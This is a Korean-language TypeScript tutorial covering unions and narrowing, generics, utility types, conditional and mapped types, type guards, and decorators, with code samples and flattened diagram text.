const ROLES = ["admin", "user", "guest"] as const;
type Role = typeof ROLES[number];       // "admin" | "user" | "guest"
// ★ 배열만 고치면 타입이 따라옵니다 (t08 에서 더)

// satisfies — 타입 검사는 받되 좁은 추론은 유지 (TS 4.9+)
const config = {
  port: 3000,
  host: "localhost",
} satisfies Record<string, string | number>;
config.port.toFixed();   // ✅ number 로 정확히 추론됨
satisfies 는 “검사는 받고 싶지만 타입은 넓히기 싫을 때” 씁니다. : Type 으로 적으면 타입이 넓어지고, 아무것도 안 적으면 검사를 못 받습니다. 그 사이를 메워 주는 문법입니다.
TS 03

interface vs type

면접 단골 질문이지만, 실무에서는 큰 차이가 없습니다. 기준만 정하면 됩니다.

차이점 정리

항목interface / type
객체 모양둘 다 가능
유니온 · 튜플type 만 가능
선언 병합interface 만 — 같은 이름을 여러 번 선언하면 합쳐짐
확장extends / & (교차 타입)
계산된 타입type 만 — 조건부·매핑드 타입
에러 메시지interface 쪽이 조금 더 읽기 쉽습니다
// interface — 확장 가능하고 선언 병합됨
interface User { id: number; name: string; }
interface User { email: string; }        // ★ 자동으로 합쳐짐
interface Admin extends User { level: number; }

// type — 무엇이든 이름 붙일 수 있음
type ID = string | number;                       // 유니온
type Point = [number, number];                   // 튜플
type Handler = (e: Event) => void;               // 함수
type Admin2 = User & { level: number };          // 교차
type Keys = keyof User;                          // 계산된 타입
실무 기준 — ① 라이브러리를 만든다면 interface(사용자가 확장할 수 있게), ② 앱을 만든다면 type 으로 통일해도 아무 문제 없습니다. 중요한 건 팀에서 하나로 정하는 것입니다. 선언 병합은 서드파티 타입 확장(t13) 외에는 오히려 위험합니다.

실무에서 자주 쓰는 형태

// 인덱스 시그니처 — 키를 미리 모를 때
type Dict = { [key: string]: number };
type Dict2 = Record<string, number>;      // 같은 뜻, 이쪽이 읽기 좋음

// 읽기 전용
type ReadonlyUser = {
  readonly id: number;
  readonly tags: readonly string[];       // 배열도 따로 표시
};

// 함수 속성이 있는 객체 (콜러블)
type Logger = {
  (msg: string): void;                     // 함수로도 호출 가능
  level: "info" | "error";                 // 속성도 있음
};

// 생성자 타입 (DI 컨테이너 만들 때)
type Ctor<T> = new (...args: any[]) => T;

// 중첩 객체
interface ApiResponse<T> {
  data: T;
  meta: { page: number; total: number };
  error?: { code: string; message: string };
}

교차 타입의 함정

type A = { x: string };
type B = { x: number };
type C = A & B;          // x: string & number = never (만들 수 없는 타입)

const c: C = { x: ??? };  // ★ 어떤 값도 넣을 수 없습니다

// interface extends 였다면 에러로 즉시 알려 줍니다
interface D extends A { x: number }   // ❌ 컴파일 에러 ✅ 더 안전
같은 이름의 속성을 다른 타입으로 교차하면 never 가 되어 런타임이 아니라 나중에 이상한 에러로 나타납니다. 확장 관계가 명확한 곳에서는 interface extends 쪽이 사고를 빨리 잡아 줍니다.
겹치는 부분이 대부분이고, 갈리는 곳은 둘뿐입니다 interface 같은 이름으로 다시 선언하면 합쳐집니다 interface User { id: number } interface User { name: string } → 둘 다 가짐 남의 라이브러리 타입을 확장할 때 이 성질이 필요합니다 type 객체가 아닌 것도 담습니다 type Id = string | number type Keys = keyof User · 조건부 · 템플릿 리터럴 같은 이름을 두 번 선언하면 에러입니다 고르는 기준 한 줄 객체 모양이고 남이 확장할 수 있어야 한다 → interface 그 밖의 거의 전부 → type 팀에서 하나로 정해 두면 고민할 일이 없습니다 주의 — 합쳐지는 성질의 뒷면 이름을 실수로 겹쳐 써도 에러가 나지 않고 조용히 합쳐집니다 — 없던 속성이 생긴 것처럼 보입니다 확장은 extends 로 명시하는 편이 읽기 좋습니다
성능 차이나 옳고 그름의 문제가 아닙니다 — 확장 가능성만 보면 됩니다.
겹치는 부분이 대부분이고, 갈리는 곳은 둘뿐입니다 interface type 선언 병합 같은 이름 → 합쳐짐 남의 타입 확장 객체 모양 extends 제네릭 유니온 A | B 조건부 · 매핑 keyof · 템플릿 두 번 선언 → 에러 객체 모양이고 남이 확장해야 한다 → interface · 그 밖의 거의 전부 → type 주의 — 같은 이름을 실수로 겹쳐 써도 에러 없이 조용히 합쳐집니다
성능 차이나 옳고 그름의 문제가 아닙니다 — 확장 가능성만 보면 됩니다.
TS 04

유니온 · 내로잉

TypeScript 를 제대로 쓰기 시작하는 지점입니다. 여기가 핵심입니다.

타입 좁히기 — TS 는 흐름을 읽습니다

function format(value: string | number | Date | null) {
  if (value === null) return "-";
  // 여기부터 value: string | number | Date

  if (typeof value === "string") return value.trim();     // string
  if (typeof value === "number") return value.toFixed(2); // number
  return value.toISOString();                             // Date ★ 자동 추론
}

// 좁히는 방법들
typeof x === "string"          // 원시 타입
x instanceof Date              // 클래스
"name" in obj                  // 속성 존재
Array.isArray(x)               // 배열
x === null / x != null         // null 체크
x.kind === "circle"            // ★ 판별 유니온 (아래)

판별 유니온 — 실무에서 가장 강력한 패턴

type Result<T> =
  | { status: "loading" }
  | { status: "success"; data: T }
  | { status: "error"; error: Error };

function render(res: Result<User>) {
  switch (res.status) {
    case "loading": return "불러오는 중…";
    case "success": return res.data.name;    // ★ data 가 여기서만 존재
    case "error":   return res.error.message;
  }
}

// ★ 이 패턴의 진짜 가치:
//   "로딩 중인데 data 를 읽는" 버그가 컴파일 단계에서 막힙니다.
//   isLoading·data·error 를 각각 boolean 으로 두는 설계보다 훨씬 안전합니다.

빠짐없이 처리했는지 검사하기

type Shape =
  | { kind: "circle"; r: number }
  | { kind: "rect"; w: number; h: number }
  | { kind: "tri"; b: number; h: number };

function area(s: Shape): number {
  switch (s.kind) {
    case "circle": return Math.PI * s.r ** 2;
    case "rect":   return s.w * s.h;
    case "tri":    return (s.b * s.h) / 2;
    default: {
      // ★ 모든 경우를 처리했다면 s 는 never 가 됩니다
      const _exhaustive: never = s;
      throw new Error(`알 수 없는 도형: ${JSON.stringify(s)}`);
    }
  }
}

// Shape 에 새 종류를 추가하면 → 이 줄에서 컴파일 에러
// "처리를 빼먹었다"를 배포 전에 알 수 있습니다 ★
이 never 트릭은 실무에서 정말 자주 씁니다. 결제 수단·주문 상태·알림 종류처럼 종류가 늘어나는 것에 걸어 두면, 새 종류를 추가할 때 고쳐야 할 곳을 컴파일러가 전부 찾아 줍니다.

좁히기가 풀리는 순간 — 함정

function f(user: { name?: string }) {
  if (user.name) {
    // 여기서는 string
    doSomething();          // 이 함수가 name 을 지워도 TS 는 모른 척합니다 (낙관적)
    user.name.trim();       // ✅ 통과 — 바로 쓰는 건 좁히기가 유지됩니다
    setTimeout(() => user.name.trim(), 100);
    //                ❌ 'user.name' is possibly 'undefined'
    //                ★ 콜백 안에서는 좁히기가 풀립니다 (나중에 실행되니까)
  }
}

// ✅ 지역 변수로 뽑아 두면 안전합니다
const name = user.name;
if (name) {
  setTimeout(() => name.trim(), 100);    // ✅ 클로저 안에서도 유지
}
“분명 체크했는데 빨간 줄이 뜬다” 면 대개 이 경우입니다. 콜백·비동기 안에서는 값이 바뀌었을 수 있으므로 TS 가 보수적으로 봅니다. 지역 상수로 복사하는 것이 가장 깔끔한 해법입니다.
내로잉 — 검사를 통과할 때마다 후보가 줄어듭니다 value: string | number | null 선언 후보 3 string | number === null 걸러냄 후보 2 number toFixed(2) 가능 string toUpperCase() 가능 typeof 로 분기 후보 1 확정 전에 메서드를 부르면 에러입니다 — 아직 안 좁혔다는 안내로 읽으세요 아래로 갈수록 후보는 줄고, 쓸 수 있는 메서드는 늘어납니다
유니온을 만나면 먼저 좁히고 그다음 쓴다 — 이 순서가 타입스크립트 코드의 기본 리듬입니다.
TS 05

함수 타입 · 오버로드

함수의 입력과 출력만 잘 타이핑해도 절반은 끝납니다.

기본형

// 매개변수 · 반환
function add(a: number, b: number): number { return a + b; }

// 선택 · 기본값 · 나머지
function greet(name: string, title?: string, ...rest: string[]) { }

// 함수 타입을 이름 붙여 재사용
type Middleware = (req: Request, res: Response, next: () => void) => void;
const auth: Middleware = (req, res, next) => { next(); };
// ★ 이렇게 하면 매개변수 타입을 다시 안 적어도 됩니다 (문맥 추론)

// 콜백 타입
function retry<T>(fn: () => Promise<T>, times: number): Promise<T> { ... }

// this 타입 명시 (첫 매개변수 자리, 실제 인자는 아님)
function handler(this: HTMLButtonElement, e: MouseEvent) {
  this.disabled = true;
}

반환 타입은 적을까 말까

// 내부 함수 — 추론에 맡기세요
const double = (n: number) => n * 2;

// ★ 공개 API·라이브러리는 명시하세요
export function getUser(id: number): Promise<User> { ... }
// 이유: 구현을 고쳤을 때 "반환 타입이 조용히 바뀌는 것"을 막습니다
void 와 undefined 는 다릅니다. () => void 타입 자리에는 무엇을 반환하는 함수든 넣을 수 있습니다 (반환값을 무시하겠다는 뜻). 그래서 arr.forEach(x => list.push(x)) 가 에러가 아닌 것입니다.

오버로드 — 입력에 따라 출력이 다를 때

// 선언 (호출부에서 보이는 시그니처)
function parse(input: string): object;
function parse(input: string, raw: true): string;
// 구현 (밖에서는 안 보임)
function parse(input: string, raw?: boolean): object | string {
  return raw ? input : JSON.parse(input);
}

parse("{}");            // object
parse("{}", true);      // string  ★ 정확히 좁혀짐
// ★ 대부분은 오버로드보다 제네릭·유니온이 낫습니다
// 오버로드 (장황함)
function first(a: string[]): string;
function first(a: number[]): number;

// 제네릭 (한 줄)
function first<T>(a: T[]): T | undefined { return a[0]; }

// 조건부 반환이 필요하면 (t09)
function get<T extends boolean>(raw: T): T extends true ? string : object;

실무 패턴 — 함수 시그니처로 API 설계하기

// 옵션 객체 — 인자가 3개를 넘으면 이렇게 바꾸세요
type FetchOptions = {
  method?: "GET" | "POST" | "PUT" | "DELETE";
  headers?: Record<string, string>;
  timeout?: number;
  retry?: number;
};
async function request<T>(url: string, opts: FetchOptions = {}): Promise<T> { ... }

// 호출부가 읽기 좋아집니다
await request<User>("/api/users/1", { timeout: 3000, retry: 2 });
불리언 매개변수를 늘어놓지 마세요. save(data, true, false, true) 는 읽을 수 없는 코드입니다. 옵션 객체로 바꾸면 이름이 곧 설명이 되고, 나중에 옵션을 추가하기도 쉽습니다.
TS 06

제네릭

“쓸 때 정해지는 타입”. 같은 코드를 타입만 바꿔 재사용하기 위한 문법입니다.

왜 필요한가

// ❌ any — 타입 정보가 사라집니다
function firstAny(arr: any[]): any { return arr[0]; }
const a = firstAny(["x"]);      // any — 자동완성 없음, 오타 못 잡음

// ✅ 제네릭 — 넣은 타입이 그대로 나옵니다
function first<T>(arr: T[]): T | undefined { return arr[0]; }
const b = first(["x"]);         // string ★
const c = first([1, 2]);        // number

// 여러 개도 가능
function pair<K, V>(k: K, v: V): [K, V] { return [k, v]; }

// 제약 — "이런 성질은 있어야 한다"
function longest<T extends { length: number }>(a: T, b: T): T {
  return a.length >= b.length ? a : b;
}
longest("abc", "de");        // ✅ string 에는 length 가 있음
longest([1,2], [3]);         // ✅ 배열도
longest(1, 2);               // ❌ number 에는 length 가 없음

기본값과 키 제약

// 기본 타입 인자
type ApiResult<T = unknown> = { data: T; ok: boolean };

// 키를 제약 — 실무에서 매우 자주 쓰는 형태
function pick<T, K extends keyof T>(obj: T, keys: K[]): Pick<T, K> {
  const out = {} as Pick<T, K>;
  for (const k of keys) out[k] = obj[k];
  return out;
}

const user = { id: 1, name: "김", pw: "secret" };
pick(user, ["id", "name"]);      // { id: number; name: string } ★
pick(user, ["nope"]);            // ❌ 없는 키는 컴파일 에러

실무에서 만나는 제네릭

// ① API 클라이언트
async function api<T>(path: string): Promise<T> {
  const res = await fetch(path);
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  return res.json() as Promise<T>;
}
const user = await api<User>("/api/users/1");     // user: User

// ② 저장소 인터페이스 (Nest·계층 설계에서 그대로 씁니다)
interface Repository<T, ID = number> {
  findById(id: ID): Promise<T | null>;
  findAll(): Promise<T[]>;
  save(entity: T): Promise<T>;
  delete(id: ID): Promise<void>;
}
class UserRepository implements Repository<User> { ... }

// ③ 이벤트 맵 — 타입 안전한 이벤트 버스
type Events = {
  "order.created": { orderId: string; amount: number };
  "user.login":    { userId: number };
};
function emit<K extends keyof Events>(name: K, payload: Events[K]) { ... }

emit("order.created", { orderId: "A1", amount: 1000 });   // ✅
emit("order.created", { userId: 1 });                     // ❌ 잡힘 ★
제네릭을 남용하지 마세요. 타입 파라미터가 한 곳에서만 쓰인다면 제네릭일 이유가 없습니다. function f<T>(x: T): void 는 그냥 unknown 이면 됩니다. “들어온 타입이 나가는 타입에 영향을 줄 때”만 제네릭입니다.
이름 규칙 — T(Type) · K(Key) · V(Value) · E(Element) · R(Return) 이 관례지만, 의미가 있으면 <TUser, TOrder> 처럼 이름을 붙이는 편이 읽기 좋습니다.
제네릭 — 값에서 받은 타입이 결과까지 그대로 흘러갑니다 function first<T>(arr: T[]): T | undefined first(["가", "나"]) T = string string | undefined first([1, 2, 3]) T = number number | undefined arr: any[] 로 썼다면 T 가 없음 any — 검사가 꺼짐 제네릭은 어려운 기능이 아니라 any 를 안 쓰기 위한 최소 장치입니다 범위를 좁히려면 제약을 겁니다 — <T extends { id: string }> 처럼
제네릭을 쓸지 말지의 기준은 하나입니다 — 들어온 타입이 결과에 영향을 주는가.
TS 07

유틸리티 타입 총정리

이미 있는 타입을 조금씩 바꿔 쓰는 내장 도구들. 실무 사용 빈도 최상위입니다.

객체 다루기

유틸리티하는 일
Partial<T>모든 속성을 선택으로 — 수정 API 의 body
Required<T>모든 속성을 필수로
Readonly<T>모든 속성을 읽기 전용으로
Pick<T, K>지정한 키만 골라내기
Omit<T, K>지정한 키만 빼기 — 비밀번호 제외 등
Record<K, V>키-값 사전 만들기
interface User {
  id: number; name: string; email: string;
  password: string; createdAt: Date;
}

// 응답에서 비밀번호 빼기 — ★ 실무 최다 사용
type UserResponse = Omit<User, "password">;

// 생성 요청 — 서버가 만드는 필드 제외
type CreateUser = Omit<User, "id" | "createdAt">;

// 수정 요청 — 일부만 보낼 수 있게
type UpdateUser = Partial<CreateUser>;

// 목록용 — 필요한 것만
type UserSummary = Pick<User, "id" | "name">;

// 상태별 색상 사전
type Status = "active" | "inactive" | "banned";
const COLOR: Record<Status, string> = {
  active: "green", inactive: "gray", banned: "red",
};   // ★ 상태를 추가하면 여기서 컴파일 에러가 납니다

유니온 · 함수 다루기

유틸리티하는 일
Exclude<T, U>유니온에서 빼기
Extract<T, U>유니온에서 고르기
NonNullable<T>null·undefined 제거
ReturnType<F>함수의 반환 타입
Parameters<F>함수의 매개변수 튜플
Awaited<P>Promise 를 벗긴 타입
InstanceType<C>클래스의 인스턴스 타입
type Status = "loading" | "success" | "error";
type Done = Exclude<Status, "loading">;      // "success" | "error"

// ★ 함수에서 타입을 역으로 뽑아내기 — 매우 실용적
function createUser(name: string, age: number) {
  return { id: 1, name, age, createdAt: new Date() };
}
type User = ReturnType<typeof createUser>;   // 반환 객체 타입
type Args = Parameters<typeof createUser>;   // [string, number]

// async 함수라면 Awaited 로 벗기기
async function fetchUser() { return { id: 1, name: "김" }; }
type FetchedUser = Awaited<ReturnType<typeof fetchUser>>;

// 실무: Prisma·zod 처럼 "값에서 타입이 나오는" 라이브러리와 궁합이 좋습니다
const userSchema = z.object({ name: z.string(), age: z.number() });
type UserInput = z.infer<typeof userSchema>;   // ★ 스키마 하나로 타입까지
타입을 두 번 적지 마세요. “스키마 · 상수 · 함수”에서 타입을 뽑아내는 방향으로 설계하면, 고칠 곳이 한 군데로 줄어듭니다. 이것이 유틸리티 타입의 진짜 목적입니다.
User 하나에서 필요한 모양을 만들어 냅니다 interface User { id: number; name: string; email: string } Partial<User> 전부 선택적 — 수정 API 의 요청 바디에 Required<User> · Readonly<User> 전부 필수 · 전부 읽기 전용 — 불변 데이터 표시에 Pick<User, 'id' | 'name'> 고른 것만 — 목록 응답처럼 일부만 보낼 때 Omit<User, 'email'> 뺀 나머지 — 민감 정보를 지운 공개용 타입 Record<string, User> 키-값 사전 — id 로 찾는 캐시 객체에 원본 하나만 고치면 파생 타입이 전부 따라옵니다 — 같은 모양을 손으로 두 번 적지 마세요
타입을 복사하지 않고 파생시키는 것이 유지보수의 전부입니다.
User 하나에서 필요한 모양을 만들어 냅니다 — 칸은 그 속성의 운명 타입 id name email 쓰는 곳 User (원본) 기준 — 여기만 고칩니다 Partial<User> 수정 API 의 요청 바디 Readonly<User> 불변 데이터 표시 Pick<User, 'id' | 'name'> — 목록 응답처럼 일부만 Omit<User, 'email'> — 공개용 — 위 Pick 과 같은 모양 Record<string, User> 키 → User 값 id 로 찾는 캐시 객체 필수 선택적 읽기 전용 — 없음 원본 하나만 고치면 파생 타입이 전부 따라옵니다 — 같은 모양을 두 번 적지 마세요
타입을 복사하지 않고 파생시키는 것이 유지보수의 전부입니다.
TS 08

keyof · typeof · 인덱스드 액세스

값에서 타입을 뽑아내는 세 가지 도구. 타입 중복을 없애는 열쇠입니다.

세 가지 연산자

interface User { id: number; name: string; tags: string[]; }

// ① keyof — 키들의 유니온
type UserKey = keyof User;              // "id" | "name" | "tags"

// ② typeof — 값에서 타입 얻기 (타입 자리에서 씀)
const defaults = { retry: 3, timeout: 5000 };
type Config = typeof defaults;          // { retry: number; timeout: number }

// ③ 인덱스드 액세스 — 속성의 타입 꺼내기
type Name = User["name"];               // string
type Tag  = User["tags"][number];       // string ★ 배열 요소 타입
type Some = User["id" | "name"];        // number | string

// 조합 — 배열 상수에서 유니온 타입 만들기
const ROLES = ["admin", "user", "guest"] as const;
type Role = (typeof ROLES)[number];     // "admin" | "user" | "guest"
// ★ 배열만 고치면 타입이 자동으로 따라옵니다
“상수를 하나만 두는” 패턴이 이 절의 핵심입니다. 상수 배열·객체를 as const 로 선언하고 타입은 거기서 파생시키면, 값과 타입이 어긋날 일이 없습니다. 드롭다운 옵션·상태 코드·권한 목록에 그대로 쓰입니다.

실무 활용

// ① 타입 안전한 속성 접근기
function get<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}
const name = get(user, "name");     // string ★
get(user, "nope");                  // ❌ 컴파일 에러

// ② 정렬 키를 실제 필드로 제한
function sortBy<T>(list: T[], key: keyof T, dir: "asc" | "desc" = "asc") {
  return list.toSorted((a, b) =>
    (a[key] > b[key] ? 1 : -1) * (dir === "asc" ? 1 : -1));
}
sortBy(users, "createdAt");         // ✅
sortBy(users, "typo");              // ❌ 잡힘

// ③ 설정 객체에서 환경 변수 타입 만들기
const ENV_KEYS = ["DB_HOST", "DB_PORT", "REDIS_URL"] as const;
type EnvKey = (typeof ENV_KEYS)[number];
const env = {} as Record<EnvKey, string>;
env.DB_HOST;      // ✅ 자동완성됨
env.DB_HOSTT;     // ❌ 오타를 잡아 줍니다
// ④ 라우트 경로 타입화 (템플릿 리터럴과 조합 — t10)
const routes = {
  home: "/",
  user: "/users/:id",
  order: "/orders/:orderId/items/:itemId",
} as const;

type RouteName = keyof typeof routes;       // "home" | "user" | "order"
type RoutePath = (typeof routes)[RouteName];
keyof any 는 string | number | symbol 입니다. 객체 키를 문자열로만 다루고 싶다면 Extract<keyof T, string> 또는 K extends string & keyof T 로 좁혀야 합니다. Object.keys() 가 string[] 을 반환하는 것도 이 때문입니다.
TS 09

조건부 타입 · infer

타입에도 if 문이 있습니다. 라이브러리 타입이 똑똑해 보이는 이유입니다.

기본 문법

// A extends B ? 참일때 : 거짓일때
type IsString<T> = T extends string ? true : false;
type A = IsString<"hi">;      // true
type B = IsString<42>;        // false

// 실용 예 — null 을 제외한 타입
type NonNull<T> = T extends null | undefined ? never : T;

// 유니온에 적용하면 각각에 분배됩니다 (분배 조건부 타입)
type ToArray<T> = T extends any ? T[] : never;
type R = ToArray<string | number>;    // string[] | number[]  ★ 각각 적용

// 분배를 막고 싶으면 대괄호로 감쌉니다
type NoDist<T> = [T] extends [any] ? T[] : never;
type R2 = NoDist<string | number>;    // (string | number)[]

infer — 타입 안에서 꺼내 오기

// 배열의 요소 타입 꺼내기
type ElementOf<T> = T extends (infer U)[] ? U : never;
type E = ElementOf<string[]>;              // string

// Promise 벗기기 (Awaited 의 원리)
type Unwrap<T> = T extends Promise<infer U> ? U : T;

// 함수 반환 타입 (ReturnType 의 원리)
type Ret<F> = F extends (...args: any[]) => infer R ? R : never;

// 첫 번째 매개변수만
type FirstArg<F> = F extends (a: infer A, ...rest: any[]) => any ? A : never;

// 재귀 — 깊이 중첩된 Promise 도 전부 벗기기
type DeepAwait<T> = T extends Promise<infer U> ? DeepAwait<U> : T;
type X = DeepAwait<Promise<Promise<string>>>;   // string

실무에서 쓰는 조건부 타입

// ① API 응답 형태를 요청에 따라 바꾸기
type ApiResult<T, Raw extends boolean = false> =
  Raw extends true ? string : { data: T; ok: boolean };

declare function call<T, R extends boolean = false>(
  url: string, raw?: R): Promise<ApiResult<T, R>>;

const a = await call<User>("/u");          // { data: User; ok: boolean }
const b = await call<User, true>("/u", true);  // string ★
// ⚠ call<User>("/u", true) 는 에러입니다 — 타입 인자를 하나라도 적으면
//   나머지(R)는 추론되지 않고 기본값 false 로 고정되기 때문입니다

// ② 옵션에 따라 필수 필드가 달라지는 함수
type Options =
  | { mode: "file"; path: string }
  | { mode: "memory" };            // path 를 받으면 컴파일 에러

// ③ 깊은 Partial (중첩 객체 전부 선택적으로)
type DeepPartial<T> = T extends object
  ? { [K in keyof T]?: DeepPartial<T[K]> }
  : T;

// ④ null 가능한 필드만 골라내기
type NullableKeys<T> = {
  [K in keyof T]: null extends T[K] ? K : never
}[keyof T];
여기서부터는 “필요할 때만” 쓰세요. 조건부 타입은 강력하지만 에러 메시지가 급격히 난해해집니다. 업무 코드에서 세 줄 넘는 타입 연산이 나오면, 타입을 단순화하거나 코드를 나누는 편이 대개 더 낫습니다. (라이브러리를 만든다면 이야기가 다릅니다 — t17)
디버깅 요령 — 복잡한 타입은 type _Check = MyType<Sample>; 처럼 중간 결과에 이름을 붙여 두고 에디터에서 호버해 보세요. 어디서 never 가 되는지 바로 보입니다.
조건부 타입 — 타입 세계의 if 문입니다 type Ret<T> = T extends (...a: any) => infer R ? R : never Ret<() => string> 함수 모양 맞음 R = string Ret<(n: number) => void> 함수 모양 맞음 R = void Ret<string> 함수가 아님 never infer 는 "여기 들어올 타입에 이름을 붙여 둬" 라는 뜻입니다 — 표준 ReturnType 이 바로 이것입니다
직접 만들 일은 드물지만 라이브러리 타입을 읽으려면 이 모양을 알아야 합니다.
TS 10

매핑드 · 템플릿 리터럴 타입

기존 타입의 모든 키를 돌면서 새 타입을 찍어 냅니다.

매핑드 타입

// Partial 의 실제 구현이 이렇습니다
type MyPartial<T> = { [K in keyof T]?: T[K] };
type MyReadonly<T> = { readonly [K in keyof T]: T[K] };

// 수식어 제거 (- 를 붙임)
type Mutable<T> = { -readonly [K in keyof T]: T[K] };
type Concrete<T> = { [K in keyof T]-?: T[K] };     // 선택 → 필수

// 값 타입 바꾸기
type Stringify<T> = { [K in keyof T]: string };
type Nullable<T> = { [K in keyof T]: T[K] | null };

// 키 이름 바꾸기 (as 절)
type Getters<T> = {
  [K in keyof T as `get${Capitalize<string & K>}`]: () => T[K]
};
type UserGetters = Getters<{ name: string; age: number }>;
// { getName: () => string; getAge: () => number }  ★

// 키 걸러 내기 (never 를 반환하면 제외됨)
type OnlyStrings<T> = {
  [K in keyof T as T[K] extends string ? K : never]: T[K]
};

템플릿 리터럴 타입

type Lang = "ko" | "en";
type Page = "home" | "about";
type Key = `${Lang}.${Page}`;
// "ko.home" | "ko.about" | "en.home" | "en.about"  ★ 조합이 자동 생성

// 내장 문자열 유틸
Uppercase<"abc">      // "ABC"
Lowercase<"ABC">      // "abc"
Capitalize<"abc">     // "Abc"
Uncapitalize<"Abc">   // "abc"

// 실무 ① 이벤트 이름 규칙 강제
type Entity = "order" | "user";
type Action = "created" | "updated" | "deleted";
type EventName = `${Entity}.${Action}`;
function emit(e: EventName) { }
emit("order.created");     // ✅
emit("order.create");      // ❌ 오타를 잡아 줍니다

// 실무 ② 라우트 파라미터 추출 (조건부 + infer 조합)
type Params<P extends string> =
  P extends `${string}:${infer Param}/${infer Rest}`
    ? { [K in Param | keyof Params<Rest>]: string }
    : P extends `${string}:${infer Param}`
      ? { [K in Param]: string }
      : {};

type P = Params<"/users/:userId/orders/:orderId">;
// { userId: string; orderId: string }  ★
이 기법을 실제로 쓰는 곳 — react-router 의 경로 파라미터, Prisma 의 쿼리 결과, tRPC 의 엔드포인트 타입이 전부 이 조합으로 만들어져 있습니다. 직접 만들 일은 드물어도 읽을 줄은 알아야 라이브러리 타입 에러를 해석할 수 있습니다.
TS 11

타입 가드 · unknown

TypeScript 와 현실이 만나는 경계. 여기를 어떻게 다루느냐가 실력입니다.

사용자 정의 타입 가드

// x is T — "이 함수가 true 면 x 는 T 다" 라고 컴파일러에 알림
function isUser(x: unknown): x is User {
  return typeof x === "object" && x !== null
      && "id" in x && typeof (x as User).id === "number";
}

const data: unknown = await res.json();
if (isUser(data)) {
  data.name;          // ✅ 여기서는 User
}

// asserts — 아니면 던지는 형태
function assertUser(x: unknown): asserts x is User {
  if (!isUser(x)) throw new TypeError("User 가 아닙니다");
}
assertUser(data);
data.name;            // ✅ 이후 전부 User

// 배열 필터에서 타입 좁히기 (아주 자주 쓰입니다)
const items: (string | null)[] = ["a", null, "b"];
const clean = items.filter((x): x is string => x !== null);   // string[] ★
// ★ 이 표기가 없으면 (string | null)[] 로 남습니다
타입 가드는 “약속”이지 “검증”이 아닙니다. x is T 라고 적어 놓고 내부 검사가 허술하면 컴파일러는 그대로 믿습니다. 복잡한 형태라면 손으로 짜지 말고 Zod 를 쓰세요(🧰 도구 o07).

any · unknown · never

타입의미
any“검사하지 마” — 타입 시스템을 끄는 것. 쓰지 마세요
unknown“뭔지 모름” — 확인 후에만 쓸 수 있음. any 의 안전한 대체
never“있을 수 없음” — 빠짐없음 검사(t04), 절대 반환 안 하는 함수
let a: any;      a.foo.bar();       // ✅ 통과 — 런타임에 터짐
let u: unknown;  u.foo;              // ❌ 컴파일 에러 ✅ 안전
if (typeof u === "string") u.trim(); // ✅ 확인 후 사용

// catch 절은 unknown 으로 받으세요 (tsconfig: useUnknownInCatchVariables)
try { ... } catch (e) {
  if (e instanceof Error) log(e.message);
  else log(String(e));
}

타입 단언 as — 최후의 수단

// ❌ 나쁜 사용 — 거짓말하면 런타임에 터집니다
const user = JSON.parse(raw) as User;    // 실제로 User 인지 아무도 검사 안 함
const el = document.getElementById("x") as HTMLInputElement;  // null 일 수도

// ✅ 그나마 정당한 사용
const el2 = document.getElementById("x");
if (el2 instanceof HTMLInputElement) el2.value = "";   // 검사 후

// ✅ 초기화 중인 객체를 채워 나갈 때
const out = {} as Record<string, number>;

// ❌ 절대 금지 — 두 번 단언해서 억지로 통과시키기
const bad = value as unknown as User;
규칙 하나만 기억하세요. 바깥에서 들어온 값(API 응답 · JSON · localStorage · 환경 변수 · 폼 입력)에는 as 를 쓰지 말고 런타임 검증을 붙이세요. 타입은 컴파일 후 사라지므로, as 는 “내가 책임진다”는 선언일 뿐입니다.
TS 12

클래스 · 데코레이터

NestJS · TypeORM 이 전부 이것으로 돌아갑니다. 원리를 알면 마법이 아닙니다.

TS 클래스에서 추가되는 것

class UserService {
  // 접근 제어자 (컴파일 시점 검사 — 런타임에는 사라짐)
  public  name = "";
  private secret = "";        // JS 의 #secret 과 달리 런타임 보호는 없음
  protected shared = "";
  readonly id: number;

  // ★ 생성자 매개변수 속성 — 이 축약이 Nest 코드의 기본형입니다
  constructor(
    private readonly repo: UserRepository,
    private readonly logger: Logger,
  ) { this.id = 1; }
  // 위 한 줄이 "필드 선언 + this.repo = repo" 를 대신합니다

  // 추상 클래스
}

abstract class Base {
  abstract handle(req: Request): Promise<void>;   // 자식이 반드시 구현
  protected log(m: string) { console.log(m); }     // 공통 구현
}

// 인터페이스 구현
interface Runnable { run(): void; }
class Job extends Base implements Runnable {
  async handle(req: Request) { }
  run() { }
}
TS 의 private 은 런타임 보호가 아닙니다. 컴파일하면 그냥 사라지므로 (obj as any).secret 으로 읽힙니다. 진짜로 숨겨야 하면 JS 의 #private 필드를 쓰세요(🟨 JS j08).

데코레이터 — 실제로 무슨 일이 일어나나

// 데코레이터는 "클래스·메서드를 감싸는 함수"입니다
function Log(target: any, key: string, desc: PropertyDescriptor) {
  const original = desc.value;
  desc.value = function (...args: any[]) {
    console.log(`→ ${key}(${JSON.stringify(args)})`);
    const result = original.apply(this, args);
    console.log(`← ${key} =`, result);
    return result;
  };
}

class Calc {
  @Log
  add(a: number, b: number) { return a + b; }
}
new Calc().add(1, 2);
// → add([1,2])
// ← add = 3

// ★ Nest 의 @Injectable() · @Controller() 도 원리는 같습니다.
//   "메타데이터를 붙여 두고 프레임워크가 나중에 읽는" 구조입니다.
// 옛 데코레이터(Nest·TypeORM)를 쓰려면 tsconfig 에
{
  "experimentalDecorators": true,
  "emitDecoratorMetadata": true      // ★ 타입 정보를 런타임에 남김 (DI 에 필요)
}
// TS 5.0 의 표준 데코레이터는 문법이 다릅니다.
// Nest 는 아직 experimental 쪽을 씁니다 — 섞지 마세요.
emitDecoratorMetadata 가 하는 일 — 생성자 매개변수의 타입 정보를 런타임에 남깁니다. Nest 가 constructor(private repo: UserRepository) 만 보고 무엇을 주입할지 알아내는 것이 이 덕분입니다. 이 옵션이 꺼져 있으면 DI 가 undefined 로 실패합니다.
TS 13

모듈 · 선언 파일 (.d.ts)

타입이 없는 라이브러리, 전역 변수, 이미지 import — 여기서 해결합니다.

타입 전용 import

// 값과 타입을 구분해서 가져오기
import type { User } from "./types";        // ★ 빌드 후 완전히 사라짐
import { type User, createUser } from "./user";   // 섞어 쓰기

// 왜 중요한가:
//  · 번들에서 불필요한 import 가 사라짐
//  · 순환 참조를 끊을 수 있음
//  · isolatedModules 환경(esbuild·swc)에서 필수

// tsconfig 로 강제할 수 있습니다
{ "verbatimModuleSyntax": true }   // 타입은 반드시 import type 으로

